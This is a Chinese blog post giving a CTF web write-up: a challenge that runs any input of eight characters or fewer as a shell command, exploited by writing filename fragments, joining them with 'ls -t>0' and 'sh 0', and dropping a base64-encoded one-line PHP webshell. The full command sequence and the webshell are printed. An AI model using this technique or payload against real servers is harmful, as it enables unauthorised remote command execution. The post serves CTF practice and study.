美文网首页社会热点信安知识
CTF_Web:8位以内可控字符getshell

CTF_Web:8位以内可控字符getshell

作者: 星辰照耀你我 | 来源:发表于2021-08-04 15:21 被阅读0次

题目来源

近期在练习CTF中的web题目时遇到一个8位字符以内可以随意执行命令,最终需要getshell 的题目,发现很多前辈都写了这类型的题解,但也需要自己实践一下,题目源码访问后如图:

题目展示的源码
思路:可以看出当提交的参数1包含的值少于8位时,都会当作命令执行,首先?1=ls发现所有文件名都超过了8位,显然单靠这8位执行命令是不足以cat某个文件,于是需要利用拼接文件名执行代码getshell。
ls查看目录文件

解题利用知识点

>a "在linux中会直接创建这个文件,但没有内容"
ls -t "将目录中的文件以时间顺序排列,最后创建的排在第一位"
sh a "将文件a中的所有内容以命令执行"
who/
am/
i "Linux中的命令拼接符/会将命令按照whoami执行"

例如


whoami命令拼接

在这个题目中就是要将一个一句话木马写入文件,然后访问这个一句话从而getshell,这里使用创建一句话的命令为:

echo <?php echo shell_exec($_GET[1]); >1.php "便于查看回显"
echo PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWzFdKTs=|base64 -d>1.php "使用base64的方式避免$等特殊字符输入失败"

将这段话倒序输入后再利用ls -t>0正序输入文本中执行,就可以生成一个一句话木马。

>hp
>1.p\\
>d\>\\
>\ -\\
>64\ \\
>base\\
>\=\|\\
>dKTs\\
>UWzF\\
>fR0V\\
>jKCR\\
>leGV\\
>sbF9\\
>zaGV\\
>obyB\\
>gZWN\\
>waHA\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

使用cat a查看ls -t写入的内容

image.png
使用ls查看sh a是否成功执行生成了1.php
image.png
并连接使用mv flag.php flag.txtflag修改为txt格式。
image.png
最终访问flag.txt得到flag

相关文章

  • CTF_Web:8位以内可控字符getshell

    题目来源 近期在练习CTF中的web题目时遇到一个8位字符以内可以随意执行命令,最终需要getshell 的题目,...

  • [CTF_web]exec/exec2.php

    CTF_web CTF_web 源码如下 : 这个题目的缺陷在于 :正则中并没有使用 $ 来限制字符串的结束因此只...

  • [CTF_web]exec/exec3.php

    CTF_web CTF_web 源码如下 : 分析 利用代码 :

  • 戒朋友圈

    把宝永远压在自己可控范围以内。

  • [CTF_web]exec/exec1.php

    CTF_web CTF_web 源码如下 : php exec 函数可以同时执行多个命令 , 只需要用 \n 分隔...

  • toooomuch-2

    这题要getshell,还有system函数,strcpy会将输入的字符写到bss段,所以直接rop到system...

  • 有人说SQL注入已经落后了,请问可以捶他吗!!

    前言: 本次用4个有趣的实战案例来分别讲:狠--常见getshell快--快速报错注入准--字符长度100限制下注...

  • nepctf-pwn

    题解 xhh: 劫持堆上的函数指针为后门函数以此来getshell easypwn 格式化字符串漏洞,修改rbp一...

  • Git提交模版

    格式要求:标题行:50个字符以内,描述主要变更内容 主体内容:更详细的说明文本,建议72个字符以内。 需要描述的信...

  • 这个心电手环打造心血管病人的“心脏哨兵”

    对于冠心病患者来说,患者从进入医院到血管开通的时间缩短至90分钟以内,救护车的转运时间也可控制在30分钟以内,但患...

网友评论

    本文标题:CTF_Web:8位以内可控字符getshell

    本文链接:https://www.haomeiwen.com/subject/rafuvltx.html